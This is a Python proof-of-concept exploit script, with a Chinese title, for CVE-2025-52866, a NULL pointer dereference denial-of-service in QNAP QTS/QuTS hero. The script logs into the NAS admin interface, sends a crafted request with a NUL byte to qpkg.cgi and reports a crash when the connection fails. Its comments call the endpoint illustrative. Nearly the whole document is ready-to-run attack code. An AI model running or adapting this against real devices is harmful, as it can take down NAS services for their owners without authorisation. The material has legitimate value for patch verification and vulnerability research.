CVE-2025-52866：QNAP QTS/QuTS hero 空指针解引用拒绝服务漏洞

# CVE-2025-52866 - QNAP QTS/QuTS hero NULL Pointer Dereference DoS # Vulnerability Type: NULL Pointer Dereference (CWE-476) # Affected: QTS < 5.2.6.3195 build 20250715, QuTS hero < h5.2.6.3195 build 20250715 # Note: Attacker must already possess valid administrator credentials. # This PoC demonstrates the concept of triggering a NULL pointer dereference # via an authenticated administrative API request that causes the service # to dereference an uninitialized/NULL pointer, leading to a DoS crash. import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET = "https://<QNAP_NAS_IP>:8080" USERNAME = "admin" PASSWORD = "<admin_password>" def trigger_null_deref(target, username, password): """ Authenticate as administrator and send a crafted request to the vulnerable endpoint to trigger NULL pointer dereference. """ session = requests.Session() session.verify = False # Step 1: Authenticate to the QNAP management interface login_url = f"{target}/cgi-bin/authLogin.cgi" login_params = { "user": username, "pwd": password, "serviceKey": "1" } try: resp = session.get(login_url, params=login_params, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login request failed: {e}") return False # Step 2: Send crafted request to trigger NULL pointer dereference # The exact vulnerable endpoint/parameter may vary; this is illustrative. vulnerable_url = f"{target}/cgi-bin/qpkg/qpkg.cgi" crafted_params = { "action": "get_share", "share_name": "\x00", # NULL byte to trigger NULL pointer path "volid": "" } try: resp = session.get(vulnerable_url, params=crafted_params, timeout=10) print(f"[*] Trigger response status: {resp.status_code}") except requests.exceptions.RequestException as e: # Service may crash, causing connection failure -> DoS achieved print(f"[+] Service may have crashed: {e}") return True return False if __name__ == "__main__": print("[*] CVE-2025-52866 PoC - QNAP NULL Pointer Dereference DoS") print("[*] Requires valid administrator credentials") trigger_null_deref(TARGET, USERNAME, PASSWORD)